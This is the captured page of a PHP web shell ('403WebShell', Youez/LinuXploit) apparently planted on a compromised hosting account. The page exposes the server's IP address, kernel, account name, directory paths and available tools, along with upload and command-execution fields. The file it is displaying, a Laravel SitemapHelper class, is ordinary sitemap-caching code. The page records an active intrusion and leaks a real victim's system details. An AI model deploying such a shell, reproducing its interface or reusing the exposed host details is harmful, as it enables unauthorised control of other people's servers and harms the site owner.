Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.149.254.229
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Core/Helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Core/Helpers/SitemapHelper.php
<?php


namespace Modules\Core\Helpers;


use Illuminate\Support\Facades\Cache;

class SitemapHelper
{
    protected $all_pages = [];
    protected $active_pages = [];

    public function add($id,$callable,$priority = 10){
        $this->all_pages[] = [$id,$callable,$priority];
    }

    public function all(){
        return $all = $this->loadActives();
    }

    public function path($path_id = false){
        $all = $this->loadActives();
        if(!array_key_exists($path_id,$all)) return [];

        $item =  $all[$path_id];

        return Cache::remember('sitemap_'.$path_id, 5 * DAY_IN_SECONDS, function () use ($item) {
            return call_user_func($item['callable']);
        });
    }

    public function clear($path_id){
        Cache::forget('sitemap_'.$path_id);
    }

    protected function loadActives(){
        if(!empty($this->active_pages)) return $this->active_pages;

        foreach ($this->all_pages as $data){
            list($id,$callable,$priority) = $data;

            if(!is_callable($callable)){
                continue;
            };

            if(!array_key_exists($id,$this->active_pages)){
                $this->active_pages[$id] = [
                    'callable'=>$callable,
                    'priority'=>$priority
                ];
            }else{
                if(version_compare($priority,$this->active_pages[$id]['priority'],'>')){
                    $this->active_pages[$id] = [
                        'callable'=>$callable,
                        'priority'=>$priority
                    ];
                }
            }

        }
        return $this->active_pages;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit